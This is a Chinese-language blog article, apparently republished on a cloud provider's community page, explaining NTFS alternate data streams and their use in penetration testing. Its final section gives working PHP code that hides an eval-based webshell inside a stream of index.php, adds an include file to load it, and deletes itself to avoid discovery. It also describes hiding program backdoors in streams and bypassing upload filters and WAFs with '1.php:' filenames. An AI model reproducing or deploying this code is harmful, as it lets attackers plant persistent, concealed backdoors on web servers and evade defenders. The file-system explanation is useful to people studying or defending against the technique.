檔案寄生——尋找宿主的不歸路(NTFS檔案流實際應用)

來源:互聯網
上載者:User

標籤:git   同名   vsx   今天   步驟   情況   strong   資訊   產生   

咱們今天來研究下NTFS檔案流:

NTFS檔案系統實現了多檔案流特性,NTFS環境一個檔案預設使用的是未命名的檔案流,同時可建立其他命名的檔案流,windows資源管理員預設不顯示出檔案的命名檔案流,這些命名的檔案流在功能上和預設使用的未命名檔案流一致,甚至可以用來啟動程式

NTFS檔案流產生步驟:
1.我們在任意一個NTFS分區下開啟CMD命令提示字元,輸入echo mstlab>>mst.txt:test.txt,則在目前的目錄下會產生一個名為mst.txt的檔案,但檔案的大小為0位元組,開啟後也無任何內容。
 

只有輸入命令:notepad mst.txt:test.txt 才能看見寫入的mstlab
 


2.在上邊的命令中,mst.txt可以不存在,也可以是某個已存的檔案,檔案格式無所謂,無論是.txt還是.jpg|.exe|.asp都行b.txt也可以任意指定檔案名稱以及尾碼名。(可以將任意文本資訊隱藏於任意檔案中,只要不泄露冒號後的虛擬檔案名稱(即test.txt),別人是根本不會查看到隱藏資訊的)。


3.包含隱藏資訊的檔案仍然可以繼續隱藏其它的內容,對比上例,我們仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 給mst.txt建立新的隱藏資訊的流檔案,使用命令notepad mst.txt:test1.txt 開啟後會發現mstlab1這段資訊,而mstlab仍然存在於mst.txt:test.txt中絲毫不受影響。
 
所以這裡的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在這裡的微妙關係顯而易見,宿主消失寄生消失

NTFS特性和原理分析:
特性1:
實驗工具下載:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用說明:
create      建立檔案流
enum       列舉檔案流
delete      刪除檔案流
write       寫入內容到檔案流
append     增加檔案到檔案流
launch      執行檔案流的內容
dump       讀取檔案流的內容


我們讓上一步驟歸零,重新來看看mst.txt:

 


而這裡的default檔案流就驗證了最開頭的一句話,預設使用的是為命名的檔案流。


實驗開始,首先我們使用FileStreams.exe建立一個檔案流vkey:
FileStreams.exe create mst.txt vkey
 

然後寫入內容到檔案流vkey

FileStreams.exe create mst.txt vkey content

 


再來查看檔案流vkey的內容

FileStreams.exe dump mst.txt vkey 14
這裡的14從何而來,相信聰明的你們能明白。(檔案流vkey大小 14)
 

那麼最開始也說了,檔案流是可以用來啟動程式的,我們來試試:
1.加入檔案到檔案流vkey:
FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe



2.查看檔案流vkey的內容,這裡就看前100個位元組的內容:
FileStreams.exe dump mst.txt vkey 100



3.執行檔案流vkey:

 


順利的執行了C:\Users\gh0stkey\Desktop\test\FileStreams.exe 這個檔案。
特性2
自動建立空檔案:

 
自動建立宿主,然後寄生。


在沒有原檔案的情況下建立檔案流,會自動建立一個空檔案。
原理分析:
好,現在我們以及初步瞭解了檔案流的特性。再來看看NTFS檔案流實現原理:


如檔案大小,檔案建立時間,檔案修改時間,檔案名稱,檔案內容等被組織成屬性來存放,NTFS定義了一序列的檔案屬性:

 



詳細說明可以搜尋NTFS3G,這些屬性統一組織在NTFS的MFT(Master File Table)上,每個MFT大小1024個位元組,MFT的$DATA屬性即是前面提到的檔案流,通常來說包含多個不同名字的$DATA屬性即說明該檔案存在多個檔案流,是winhex開啟1.txt定位到1.txt的MFT,我們實際看一下NTFS是如何組織的:

 


可以看到檔案流test2的資料是直接存放在MFT上,因為test2的資料小,而testExe的資料則沒有明顯看出來,因為testExe資料比較大,MFT裡面存放的是簇資訊。


滲透中的利用:

Webshell後門隱藏:

<?phpexec(‘echo "<?php @eval($_POST[key]);?>">>index.php:key.php‘);$key = <<<keyecho "<?php include ‘index.php:key.php‘;?>">>a.phpkey;exec($key);$url = $_SERVER[‘PHP_SELF‘];$filename= substr($url,strrpos($url,‘/‘)+1);@unlink($filename);?>

 

為什麼這樣寫?首先我們知道網站的預設首頁是index.php,所以我們使用了第一段代碼:

exec(‘echo "<?php @eval($_POST[key]);?>">>index.php:key.php‘);

直接寫一個一句話內容到key.php這個檔案流中。


其次,檔案流是不可能直接執行的,但是PHP可以使用包含函數,所以就產生了第二段代碼:

$key = <<<keyecho "<?php include ‘index.php:key.php‘;?>">>a.phpkey;exec($key);


最後,為了不被發現要刪除本身檔案,就出來了代碼:


$url = $_SERVER[‘PHP_SELF‘];
$filename= substr($url,strrpos($url,‘/‘)+1);
@unlink($filename);


軟體後門隱藏:
使用特性1寫一段代碼後台自動運行這個檔案流即可。

ByPass WAF:
測試了下一些WAF還是可以繞過的。
較為雞肋:
 

需要有一個檔案包含才行。

當然一些局限性的限制寄生蟲可以拿到主權:
利用下面的預設流替換特性上傳檔案名稱為1.php:的檔案,繞過尾碼名限制即可。

當然你也可以做一個持久性webshell後門,然後使用include包含起來即可利用:

 

預設流替換:

預設流也就是宿主自身的,這裡完全可以吞噬宿主,成為宿主。

這個方法算是打破常規的認識了,很有意思。

 


如,我們直接執行echo xxxx>>1.txt:
即可替換預設流:
 
當然如果宿主不存在,將會建立宿主並且吞噬宿主,從而成為宿主。

此方法筆者在一次局限性的命令執行中完美運用上了。

總結:
原檔案=宿主,檔案流=寄生蟲。各位朋友根據根據這篇文章的基礎繼續深入研究,把檔案流應用於各種操作之中,造出"猥瑣"流。

檔案寄生——尋找宿主的不歸路(NTFS檔案流實際應用)

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.